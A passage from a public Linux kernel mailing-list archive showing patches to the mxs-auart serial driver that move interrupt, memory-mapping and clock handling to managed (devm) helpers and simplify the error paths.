-static void mxs_auart_free_gpio_irq(struct mxs_auart_port *s)
-{
- enum mctrl_gpio_idx i;
-
- for (i = 0; i < UART_GPIO_MAX; i++)
- if (s->gpio_irq[i] >= 0)
- free_irq(s->gpio_irq[i], s);
-}
-
static int mxs_auart_request_gpio_irq(struct mxs_auart_port *s)
{
int *irq = s->gpio_irq;
@@ -1537,21 +1528,13 @@ static int mxs_auart_request_gpio_irq(struct mxs_auart_port *s)
continue;
irq_set_status_flags(irq[i], IRQ_NOAUTOEN);
- err = request_irq(irq[i], mxs_auart_irq_handle,
- IRQ_TYPE_EDGE_BOTH, dev_name(s->dev), s);
+ err = devm_request_irq(s->dev, irq[i], mxs_auart_irq_handle,
+ IRQ_TYPE_EDGE_BOTH, dev_name(s->dev), s);
if (err)
dev_err(s->dev, "%s - Can't get %d irq\n",
__func__, irq[i]);
}
- /*
- * If something went wrong, rollback.
- * Be careful: i may be unsigned.
- */
- while (err && (i-- > 0))
- if (irq[i] >= 0)
- free_irq(irq[i], s);
-
return err;
}
@@ -1596,18 +1579,12 @@ static int mxs_auart_probe(struct platform_device *pdev)
if (ret)
return ret;
- r = platform_get_resource(pdev, IORESOURCE_MEM, 0);
- if (!r) {
- ret = -ENXIO;
+ s->port.membase = devm_platform_get_and_ioremap_resource(pdev, 0, &r);
+ if (IS_ERR(s->port.membase)) {
+ ret = PTR_ERR(s->port.membase);
goto out_disable_clk;
}
-
s->port.mapbase = r->start;
- s->port.membase = ioremap(r->start, resource_size(r));
- if (!s->port.membase) {
- ret = -ENOMEM;
- goto out_disable_clk;
- }
s->port.ops = &mxs_auart_ops;
s->port.iotype = UPIO_MEM;
s->port.fifosize = MXS_AUART_FIFO_SIZE;
@@ -1622,21 +1599,21 @@ static int mxs_auart_probe(struct platform_device *pdev)
irq = platform_get_irq(pdev, 0);
if (irq < 0) {
ret = irq;
- goto out_iounmap;
+ goto out_disable_clk;
}
s->port.irq = irq;
ret = devm_request_irq(&pdev->dev, irq, mxs_auart_irq_handle, 0,
dev_name(&pdev->dev), s);
if (ret)
- goto out_iounmap;
+ goto out_disable_clk;
platform_set_drvdata(pdev, s);
ret = mxs_auart_init_gpios(s, &pdev->dev);
if (ret) {
dev_err(&pdev->dev, "Failed to initialize GPIOs.\n");
- goto out_iounmap;
+ goto out_disable_clk;
}
/*
@@ -1644,7 +1621,7 @@ static int mxs_auart_probe(struct platform_device *pdev)
*/
ret = mxs_auart_request_gpio_irq(s);
if (ret)
- goto out_iounmap;
+ goto out_disable_clk;
auart_port[s->port.line] = s;
@@ -1667,11 +1644,7 @@ static int mxs_auart_probe(struct platform_device *pdev)
return 0;
out_free_qpio_irq:
- mxs_auart_free_gpio_irq(s);
- auart_port[pdev->id] = NULL;
-
-out_iounmap:
- iounmap(s->port.membase);
+ auart_port[s->port.line] = NULL;
out_disable_clk:
clk_disable_unprepare(s->clk);
@@ -1683,11 +1656,7 @@ static void mxs_auart_remove(struct platform_device *pdev)
struct mxs_auart_port *s = platform_get_drvdata(pdev);
uart_remove_one_port(&auart_driver, &s->port);
- auart_port[pdev->id] = NULL;
- mxs_auart_free_gpio_irq(s);
- iounmap(s->port.membase);
- if (is_asm9260_auart(s))
- clk_disable_unprepare(s->clk);
+ auart_port[s->port.line] = NULL;
}
static struct platform_driver mxs_auart_driver = {
--
2.54.0
^ permalink raw reply related
* [PATCHv3 2/6] serial: mxs-auart: rework clock handling in mxs_get_clks and probe
From: Rosen Penev @ 2026-06-11 3:38 UTC (permalink / raw)
To: linux-serial
Cc: Greg Kroah-Hartman, Jiri Slaby, Frank Li, Sascha Hauer,
Pengutronix Kernel Team, Fabio Estevam,
open list:TTY LAYER AND SERIAL DRIVERS,
open list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE,
moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE
In-Reply-To: <20260611033856.6476-1-rosenp@gmail.com>
Use devm_clk_get_enabled for the AHB clock so its enable/disable
lifetime is managed by the driver model. Move the mod clock
(clk) prepare_enable out of mxs_get_clks and into probe so that
clk_set_rate is called while the clock is still disabled, avoiding
CLK_SET_RATE_GATE failures. Clean up the error labels accordingly.
Assisted-by: opencode:big-pickle
Signed-off-by: Rosen Penev <rosenp@gmail.com>
---
drivers/tty/serial/mxs-auart.c | 47 ++++++++++++----------------------
1 file changed, 17 insertions(+), 30 deletions(-)
diff --git a/drivers/tty/serial/mxs-auart.c b/drivers/tty/serial/mxs-auart.c
index de97c0f74e7d..aa59a48bfad7 100644
--- a/drivers/tty/serial/mxs-auart.c
+++ b/drivers/tty/serial/mxs-auart.c
@@ -1470,34 +1470,22 @@ static int mxs_get_clks(struct mxs_auart_port *s,
return PTR_ERR(s->clk);
}
- s->clk_ahb = devm_clk_get(s->dev, "ahb");
+ s->clk_ahb = devm_clk_get_enabled(s->dev, "ahb");
if (IS_ERR(s->clk_ahb)) {
dev_err(s->dev, "Failed to get \"ahb\" clk\n");
return PTR_ERR(s->clk_ahb);
}
- err = clk_prepare_enable(s->clk_ahb);
- if (err) {
- dev_err(s->dev, "Failed to enable ahb_clk!\n");
- return err;
- }
-
+ /*
+ * Set mod clock rate while it is still disabled so
+ * CLK_SET_RATE_GATE does not cause clk_set_rate to fail.
+ * The mod clock will be enabled in mxs_auart_startup()
+ * and in probe after mxs_get_clks returns.
+ */
err = clk_set_rate(s->clk, clk_get_rate(s->clk_ahb));
- if (err) {
+ if (err)
dev_err(s->dev, "Failed to set rate!\n");
- goto disable_clk_ahb;
- }
- err = clk_prepare_enable(s->clk);
- if (err) {
- dev_err(s->dev, "Failed to enable clk!\n");
- goto disable_clk_ahb;
- }
-
- return 0;
-
-disable_clk_ahb:
- clk_disable_unprepare(s->clk_ahb);
return err;
}
@@ -1604,17 +1592,21 @@ static int mxs_auart_probe(struct platform_device *pdev)
if (ret)
return ret;
+ ret = clk_prepare_enable(s->clk);
+ if (ret)
+ return ret;
+
r = platform_get_resource(pdev, IORESOURCE_MEM, 0);
if (!r) {
ret = -ENXIO;
- goto out_disable_clks;
+ goto out_disable_clk;
}
s->port.mapbase = r->start;
s->port.membase = ioremap(r->start, resource_size(r));
if (!s->port.membase) {
ret = -ENOMEM;
- goto out_disable_clks;
+ goto out_disable_clk;
}
s->port.ops = &mxs_auart_ops;
s->port.iotype = UPIO_MEM;
@@ -1681,11 +1673,8 @@ static int mxs_auart_probe(struct platform_device *pdev)
out_iounmap:
iounmap(s->port.membase);
-out_disable_clks:
- if (is_asm9260_auart(s)) {
- clk_disable_unprepare(s->clk);
- clk_disable_unprepare(s->clk_ahb);
- }
+out_disable_clk:
+ clk_disable_unprepare(s->clk);
return ret;
}
@@ -1697,10 +1686,8 @@ static void mxs_auart_remove(struct platform_device *pdev)
auart_port[pdev->id] = NULL;
mxs_auart_free_gpio_irq(s);
iounmap(s->port.membase);
- if (is_asm9260_auart(s)) {
+ if (is_asm9260_auart(s))
clk_disable_unprepare(s->clk);
- clk_disable_unprepare(s->clk_ahb);
- }
}
static struct platform_driver mxs_auart_driver = {
--
2.54.0
^ permalink raw reply related
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox